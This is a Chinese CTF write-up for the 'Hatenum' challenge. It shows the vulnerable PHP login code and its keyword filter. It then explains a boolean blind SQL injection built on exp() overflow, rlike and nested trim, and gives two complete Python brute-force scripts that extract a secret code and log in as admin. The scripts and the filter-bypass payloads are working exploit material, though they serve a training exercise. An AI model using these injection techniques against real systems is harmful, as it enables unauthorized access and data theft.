# buu 刷题 Hatenum

知识点

  • SQL 函数
  • 盲注
  • 脚本编写

# 题目分析

题目给了源码

  • home.php
1
2
3
4
5
6
7
8
9
10
11
12
<?php
require_once('config.php');
if(!$_SESSION['username']){
header('location:index.php');
}
if($_SESSION['username']=='admin'){
echo file_get_contents('/flag');
}
else{
echo 'hello '.$_SESSION['username'];
}
?>

当用户名为 admin 成功登录即可获得密码

  • config.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
error_reporting(0);
session_start();
class User{
public $host = "localhost";
public $user = "root";
public $pass = "123456";
public $database = "ctf";
public $conn;
function __construct(){
$this->conn = new mysqli($this->host,$this->user,$this->pass,$this->database);
if(mysqli_connect_errno()){
die('connect error');
}
}
function find($username){
$res = $this->conn->query("select * from users where username='$username'");
if($res->num_rows>0){
return True;
}
else{
return False;
}

}
function register($username,$password,$code){
if($this->conn->query("insert into users (username,password,code) values ('$username','$password','$code')")){
return True;
}
else{
return False;
}
}
function login($username,$password,$code){
$res = $this->conn->query("select * from users where username='$username' and password='$password'");
if($this->conn->error){ // 如果sql语句报错就返回error
return 'error';
}
else{
$content = $res->fetch_array();
if($content['code']===$_POST['code']){
$_SESSION['username'] = $content['username'];
return 'success';
}
else{
return 'fail';
}
}

}
}

function sql_waf($str){
if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
die('Hack detected');
}
}

function num_waf($str){
if(preg_match('/\d{9}|0x[0-9a-f]{9}/i',$str)){
die('Huge num detected');
}
}

function array_waf($arr){
foreach ($arr as $key => $value) {
if(is_array($value)){
array_waf($value);
}
else{
sql_waf($value);
num_waf($value);
}
}
}

可以看到过滤非常严格 但还是存在一定缺陷 \ () rlike 等没有过滤

同时后面对 code 单独验证所以无法利用 username=admin\&password=||1 绕过

# 解题思路

  • 首先分析 sql 注入类型 ,通过阅读源码分析得知为 bool 盲注

  • 寻找 匹配函数

  • 构建 bool 值

  • 编写脚本

# 匹配

# rlike

rlike() 类似于正则 当语句执行匹配后的结果为 True 返回 1

下面通过比较 like rlike regexp 即可快速了解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mysql> select 'abcd' like 'a';
+-----------------+
| 'abcd' like 'a' |
+-----------------+
| 0 |
+-----------------+
1 row in set (0.00 sec)

mysql> select 'abcd' rlike 'a';
+------------------+
| 'abcd' rlike 'a' |
+------------------+
| 1 |
+------------------+
1 row in set (0.00 sec)

mysql> select 'abcd' regexp 'a';
+-------------------+
| 'abcd' regexp 'a' |
+-------------------+
| 1 |
+-------------------+
1 row in set (0.00 sec)

# trim

TRIM ([BOTH/LEADING/TRAILING] 目标字符串 FROM 源字符串)

  • BOTH 删除两边的指定字符串
  • LEADING 删除左边的指定字符串
  • TARILING 删除右边的指定字符串
1
2
3
4
5
6
7
mysql> select trim(LEADING "b" from trim(LEADING "a" from "abcd"));
+------------------------------------------------------+
| trim(LEADING "b" from trim(LEADING "a" from "abcd")) |
+------------------------------------------------------+
| cd |
+------------------------------------------------------+
1 row in set (0.00 sec)

# 构建 bool

# exp 函数

exp() 该函数返回 E 的 X 次方后的值,当 exp () 函数取值超过 709 便会报错 如下所示:

1
2
3
4
5
6
7
8
9
10
mysql> select exp(1);
+-------------------+
| exp(1) |
+-------------------+
| 2.718281828459045 |
+-------------------+
1 row in set (0.00 sec)

mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

此题可以利用此特性 来构造盲注 当然其他类似函数也是可以利用 如 pow () 等等

同时利用 未过滤的 \ 闭合单引号 达到注入目的

大致的 payload 如下:

1
2
3
'username': 'admin\\',
'password': '||exp(710-((bool))#',
'code': '1'

通过闭合 使 username='admin\' and password=' 过滤了 or 用 ||

过滤了空格 用 0x0c 换页符代替 或者用括号

# exp

# trim 推荐

利用嵌套 trim 判断长度 获得 code 值 无需担心 重复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# -*- coding: utf-8 -*-
"""
@Time : 2021/11/26
@Author : hkcc
"""

import requests
from time import sleep

url = "http://challenge-16a8510d5c6c71ad.sandbox.ctfhub.com:10800/login.php"
charset = "1234567890wertyuiopasdfghjklzxcvbnmq_"
totallength = 23
result = ""

print("-----------start to get length---------------")
for i in range(1,254):
num=i
pay="||exp(710-(length(trim(leading 0x00 from code))like {}))#"
pay=pay.format(str(num)).replace(' ',chr(0x0c))
print(pay)
data = {"username": "admin\\", "password": pay, "code": '1'}
res = requests.post(url, data, allow_redirects=False)
sleep(0.1)
if('login' in res.text):
totallength = num
break
print("-----------code length {}---------------".format(totallength))


pay1="||exp(710-(length({})like {}))#"
pay3="trim(leading {} from {})"
addpay=""


for i in range(totallength-1,-1,-1):
for j in charset:
tchar=hex(ord(j))
if (i == totallength - 1):
temppay = pay3.format(tchar, "code")
else:
temppay = pay3.format(tchar, addpay)
finalpay=pay1.format(temppay,str(i)).replace(' ',chr(0x0c))
data = {"username": "admin\\", "password": finalpay, "code": '1'}
req= requests.post(url, data, allow_redirects=False)
sleep(0.2)
#print(req.text)
if ('login' in req.text):
result = result + j
break
addpay=temppay
print(result)



print("-----------get flag---------------")
data = {"username":"admin\\","password":"||True#","code":result}
res = requests.post(url, data)
print(res.text)

# rlike

引用链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests
import string

def str2hex(string): # 转换16进制,16进制在数据库执行查询时又默认转换成字符串
result = ''
for i in string:
result += hex(ord(i))
result = result.replace('0x', '')
return '0x' + result

strs = string.ascii_letters + string.digits + '_'
url = "http://be2ae7e7-9c0e-4f21-8b3a-97e28c20d79c.node3.buuoj.cn/login.php"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0'
}
payload = '||exp(710-(code rlike binary {0}))#'
if __name__ == "__main__":
name = ''
z = 3
for i in range(1, 40):
for j in strs:
passwd = str2hex(name + j)
payloads = payload.format(passwd).replace(' ',chr(0x0c))
postdata = {
'username': 'admin\\',
'password': payloads,
'code': '1'
}
r = requests.post(url, data=postdata, headers=headers, allow_redirects=False)
#print(r.text)
if "fail" in r.text:
name += j
print(j, end='')
break

if len(name) >= 3:
for i in range(1, 40):
for j in strs:
passwd = str2hex(name[z - 3:z] + j) # ergh
payloads = payload.format(passwd).replace(' ', chr(0x0c))
postdata = {
'username': 'admin\\',
'password': payloads,
'code': '1'
}
r = requests.post(url, data=postdata, headers=headers, allow_redirects=False)
# print(r.text)
if "fail" in r.text:
name += j
print(j, end='')
z += 1
break

出结果了,别高兴的太早,因为这里陷入了一个死循环当中:

1
erghruigh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh2uygh......

可以看到爆出 erghruigh2 之后不停地循环出现 uygh2 ,所以我们可以推测出真正的 code 里面有两个 gh2 ,其中位于前面的那个 gh2 后面紧跟着一个 u ,即 gh2u 。后面那个 gh2 后面跟的是那个字符我们还不能确定,那我们便可以测试一下除了 u 以外的其他字符,经测试第二个 gh2 后面跟的字符是 3 ,即 gh23 ,然后继续根据 h23 爆破接下来的字符就行了,最后得到的 code 如下:

1
erghruigh2uygh23uiu32ig